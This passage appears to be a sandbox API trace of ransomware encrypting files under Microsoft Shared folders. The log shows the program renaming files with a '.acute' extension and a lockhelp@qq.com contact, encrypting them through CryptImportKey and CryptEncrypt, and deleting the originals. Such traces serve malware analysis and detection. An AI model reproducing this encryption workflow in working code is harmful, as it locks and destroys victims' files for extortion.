dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.897] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2246) returned 1 [0050.897] CloseHandle (hObject=0x170) returned 1 [0050.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0050.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.897] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.898] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2240) returned 1 [0050.898] CloseHandle (hObject=0x170) returned 1 [0050.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0050.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.898] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.898] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2644) returned 1 [0050.899] CloseHandle (hObject=0x170) returned 1 [0050.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0050.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.899] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.900] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2542) returned 1 [0050.900] CloseHandle (hObject=0x170) returned 1 [0050.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0050.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.900] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.901] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2568) returned 1 [0050.901] CloseHandle (hObject=0x170) returned 1 [0050.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0050.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.901] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.901] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2596) returned 1 [0050.901] CloseHandle (hObject=0x170) returned 1 [0050.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0050.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.902] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.902] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2520) returned 1 [0050.902] CloseHandle (hObject=0x170) returned 1 [0050.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0050.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.904] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.905] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1680383) returned 1 [0050.905] CloseHandle (hObject=0x170) returned 1 [0050.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0050.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0050.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.906] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6a8 | out: lpNewFilePointer=0x0) returned 1 [0050.906] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6a8 | out: lpNewFilePointer=0x0) returned 1 [0050.906] ReadFile (in: hFile=0x170, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x329f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0050.909] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x329f6a8 | out: lpNewFilePointer=0x0) returned 1 [0050.909] ReadFile (in: hFile=0x170, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329f6b4, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x329f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0050.914] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x329f6a8 | out: lpNewFilePointer=0x0) returned 1 [0050.914] ReadFile (in: hFile=0x170, lpBuffer=0x3700058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3700058*, lpNumberOfBytesRead=0x329f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0050.919] CryptImportKey (in: hProv=0x585138, pbData=0x329f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f704 | out: phKey=0x329f704*=0x5931e0) returned 1 [0050.919] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0050.920] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3680020*, pdwDataLen=0x329f6b8*=0xc0050) returned 1 [0050.926] CryptDestroyKey (hKey=0x5931e0) returned 1 [0050.926] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6e0 | out: lpNewFilePointer=0x0) returned 1 [0050.926] WriteFile (in: hFile=0x170, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x329f6f0, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f0*=0xc0102, lpOverlapped=0x0) returned 1 [0051.551] SetEndOfFile (hFile=0x170) returned 1 [0051.552] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x329f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.552] WriteFile (in: hFile=0x170, lpBuffer=0x374013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329f6bc, lpOverlapped=0x0 | out: lpBuffer=0x374013a*, lpNumberOfBytesWritten=0x329f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.578] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x329f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.578] WriteFile (in: hFile=0x170, lpBuffer=0x374013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329f6bc, lpOverlapped=0x0 | out: lpBuffer=0x374013a*, lpNumberOfBytesWritten=0x329f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.580] WriteFile (in: hFile=0x170, lpBuffer=0x374013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329f6bc, lpOverlapped=0x0 | out: lpBuffer=0x374013a*, lpNumberOfBytesWritten=0x329f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.582] CloseHandle (hObject=0x170) returned 1 [0052.312] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.313] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=913) returned 1 [0052.313] CloseHandle (hObject=0x170) returned 1 [0052.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0052.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.313] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.313] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.393] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.393] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.393] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x391, lpOverlapped=0x0) returned 1 [0052.401] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3a0) returned 1 [0052.401] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x3a0, lpOverlapped=0x0) returned 1 [0052.403] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0052.403] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.403] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.403] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.403] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.403] CryptDestroyKey (hKey=0x593260) returned 1 [0052.403] CloseHandle (hObject=0x170) returned 1 [0052.403] CloseHandle (hObject=0x184) returned 1 [0052.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0052.408] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.408] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1231) returned 1 [0052.408] CloseHandle (hObject=0x170) returned 1 [0052.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0052.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.409] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.409] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.411] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5931e0) returned 1 [0052.411] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.411] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x4cf, lpOverlapped=0x0) returned 1 [0052.414] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d0) returned 1 [0052.414] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4d0, lpOverlapped=0x0) returned 1 [0052.415] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.415] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.415] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.415] CryptDestroyKey (hKey=0x593220) returned 1 [0052.415] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.415] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.415] CloseHandle (hObject=0x170) returned 1 [0052.415] CloseHandle (hObject=0x194) returned 1 [0052.416] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0052.418] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.418] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1852) returned 1 [0052.418] CloseHandle (hObject=0x194) returned 1 [0052.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 